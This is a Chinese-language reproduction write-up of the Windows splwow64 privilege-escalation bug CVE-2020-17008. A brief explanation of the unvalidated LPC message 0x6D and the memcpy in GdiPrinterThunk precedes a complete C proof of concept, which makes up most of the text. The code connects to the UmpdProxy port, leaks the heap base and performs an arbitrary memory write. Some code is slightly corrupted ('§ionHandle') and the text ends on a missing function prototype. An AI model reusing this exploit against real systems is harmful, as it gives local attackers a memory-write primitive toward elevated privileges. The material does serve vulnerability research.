漏洞描述
Splwow64過于信任LPC傳遞的資料，并且在消息0x6D中使用了請求發起者的偏移量且沒有進行有效的驗證，Splwow64将LPC消息傳遞給GdiPrinterThunk。導緻執行可控制的memcpy函數任意位址寫。
漏洞原理
觸發任意位址寫入的調用棧
通過 “\\RPC Control\\UmpdProxy_%x_%x_%x_%x “, 會話ID, 令牌認證ID 低位,令牌認證ID 高位,0x200 構造出通信LPC名稱并進行連結。
通過發送6A消息打開該列印機
由于任意位址寫是在目前堆基位址之上，我們輸入的是偏移。
是以接着發送帶有漏洞的6D消息在目前堆資料内洩露出目前堆基位址，随後通過減去基位址，進而獲得任意位址寫入。
含有漏洞的消息6D的資料結構：
随後這個消息通過LPC傳入SPLWOW64.exe，将輸入輸出緩沖區傳入了龐大的API——GdiPrinterThunk，GdiPrinterThunk中存在一個memcpy，參數來自于輸入輸出緩沖區。
漏洞複現
SPLWOW64權限提升漏洞(CVE-2020-17008)複現漏洞描述漏洞原理漏洞複現POC
POC
标注: 官方POC在GetPortName中使用RtlInitUnicodeString來初始化UNICODE_STRING 時出現了一個問題：使用局部變量dst來對外部傳入的PUNICODE_STRING 指派，這可能導緻函數退出時棧被釋放後被其他函數修改，進而導緻使用該變量的函數調用失敗。[ RtlInitUnicodeString 函數原型見頁面底部 ]
#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR* ViewBase;
UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI* NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI* ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI* ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress);
int Init()
{
HMODULE ntdll = GetModuleHandleA("ntdll");
printf("ntdll = 0x%p\n", (void*)ntdll);
NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
if (NtOpenProcessToken == NULL)
{
printf("Failed to get NtOpenProcessToken\n");
return 0;
}
ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
if (ZwQueryInformationToken == NULL)
{
printf("Failed to get ZwQueryInformationToken\n");
return 0;
}
NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
if (NtCreateSection == NULL)
{
printf("Failed to get NtCreateSection\n");
return 0;
}
ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
if (ZwSecureConnectPort == NULL)
{
printf("Failed to get ZwSecureConnectPort\n");
return 0;
}
NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
if (NtRequestWaitReplyPort == NULL)
{
printf("Failed to get NtRequestWaitReplyPort\n");
return 0;
}
return 1;
}
WCHAR dst[256];
int GetPortName(PUNICODE_STRING DestinationString)
{
void* tokenHandle;
DWORD sessionId;
ULONG length;
TOKEN_STATISTICS tokenInformation;
memset(&tokenInformation, 0, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst, 0, sizeof(dst));
if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, &tokenInformation, sizeof(tokenInformation), &length))
{
return 0;
}
wsprintfW(
dst,
L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
sessionId,
tokenInformation.AuthenticationId.LowPart,
tokenInformation.AuthenticationId.HighPart,
0x2000);
printf("name: %ls\n", dst);
RtlInitUnicodeString(DestinationString, dst);
return 1;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle = 0;
HANDLE portHandle = 0;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart = 0x20000;
if (0 != NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
printf("failed on NtCreateSection\n");
return 0;
}
if (sectionHandle)
{
ClientView.SectionHandle = sectionHandle;
ClientView.Length = 0x30;
ClientView.ViewSize = 0x9000;
int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if (retval) {
printf("Failed on ZwSecureConnectPort: 0x%x\n", retval);
return 0;
}
}
return portHandle;
}
PVOID Prepare0x6AMessage()
{
const wchar_t* printerName = L"Microsoft XPS Document Writer";
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x140;
printf("PtrMsgReply: 0x%I64x\n", LpcRequest.PtrMsgReply);
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*(UINT64*)ClientView.ViewBase = 0x6A00000000; //Msg Type (OpenPrinter)
*((UINT64*)ClientView.ViewBase + 0x3) = 0x100; // Offset to pointer to Printer Name
*((UINT64*)ClientView.ViewBase + 0x4) = 0x00; //Printer defaults to OpenPrinter
*((UINT64*)ClientView.ViewBase + 0x8) = 0x00;
*((UINT64*)ClientView.ViewBase + 0x7) = 0x500000005; // Args 2 & 3 to bAddPrinterHandle
memcpy(ClientView.ViewBase + 0x100, printerName, 0x3C);
printf("ClientView: 0x%I64x/0x%p, 0x%p: %S\n", (UINT64)ClientView.ViewBase, ClientView.ViewRemoteBase, (ClientView.ViewBase + 0x100), (LPWSTR)(ClientView.ViewBase + 0x100));
*((UINT64*)ClientView.ViewBase + 0x10) = 0x41414141;
return ClientView.ViewBase;
}
PVOID Prepare0x6DMessage_GetPoolAddr(UINT64 cookie, UINT64 heapAddress)
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
*((UINT64*)ClientView.ViewBase + 3) = cookie;
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
//0x40
*((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn
*((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
//0x200
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
//0x100
*((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here
//0x110
*((UINT64*)ClientView.ViewBase + 0x22) = 0;
//0x150
*((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
//0x250
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0x40) = 0x4242424242424242;
*((UINT64*)ClientView.ViewBase + 0xA) = 0x40; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((WORD*)ClientView.ViewBase + 0xA2) = (WORD)0x04;
*((WORD*)ClientView.ViewBase + 0xA3) = (WORD)0x04;
*((UINT64*)ClientView.ViewBase + 0xB) = 0x250; //Destination of memcpy
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
return ClientView.ViewBase;
}
HANDLE g_portHandle;
int main()
{
printf("Start\n");
Init(); //初始化所用的庫函數
printf("Init done\n");
CHAR Path[0x100];
GetCurrentDirectoryA(sizeof(Path), Path);
printf("%s\n", Path);
PathAppendA(Path, "CreateDC.exe"); // CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
printf("%s\n", Path);
if (!(PathFileExistsA(Path)))
{
printf("CreateDC.exe 不存在\n");
return 0;
}
WinExec(Path, 0); //拉起 splwow64.exe
CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
printf("現在你可以使用調試器挂接splwow64.exe. 輸入[回車]繼續:");
fflush(stdout);
getchar();
printf("獲得端口名稱\n");
UNICODE_STRING portName;
if (!GetPortName(&portName))
{
printf("獲得端口名稱失敗\n");
return 0;
}
printf("建立端口. \n");
g_portHandle = CreatePortSharedBuffer(&portName);
if (!(g_portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
printf("portHandle = 0x%p && ClientView.ViewBase = 0x%p && ClientView.ViewRemoteBase = 0x%p\n", g_portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
return 0;
}
printf("填充 0x6A 消息 - OpenPrinter\n");
Prepare0x6AMessage();
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入 0x6A 消息失敗\n");
exit(1);
}
printf("寫入 0x6A 消息成功!\n");
UINT64 cookie = *((UINT64*)ClientView.ViewBase + 0x28);
printf("Cookie: 0x%llx\n", cookie);
printf("填充 0x6D 消息 (獲得堆位址) - DocumentEvent\n");
Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次觸發memcpy洩漏堆位址以擷取偏移量*/
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入 0x6D 消息失敗\n");
exit(1);
}
UINT64 heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
printf("輸出: 0x%I64x, 堆位址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 消息 (獲得堆位址) - DocumentEvent\n");
Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次觸發memcpy洩漏堆位址以擷取偏移量*/
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入 0x6D 消息失敗\n");
exit(1);
}
heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
printf("輸出: 0x%I64x, 堆位址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 消息(寫入資料0x55aa55aa55aa55aa 至 0x55555555位址) - DocumentEvent\n");
WriteMemory(0x55555555, 0x55aa55aa55aa55aa, cookie, heapAddress);
printf("完成\n");
return 0;
}
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress)
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //消息類型(Document Event)
*((UINT64*)ClientView.ViewBase + 3) = cookie;
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 第二個參數：FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
//0x40
*((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn
*((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
//0x200
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
//0x100
*((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here
//0x110
*((UINT64*)ClientView.ViewBase + 0x22) = 0;
//0x150
*((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
//0x250
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0x40) = Data; //欲寫入的資料
*((UINT64*)ClientView.ViewBase + 0xB) = WriteAddr - heapAddress; //目标記憶體位址
*((WORD*)ClientView.ViewBase + 0x122) = (WORD)0x04;
*((WORD*)ClientView.ViewBase + 0x123) = (WORD)0x04;
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入0x6D 消息失敗\n");
}
}
RtlInitUnicodeString函數原型：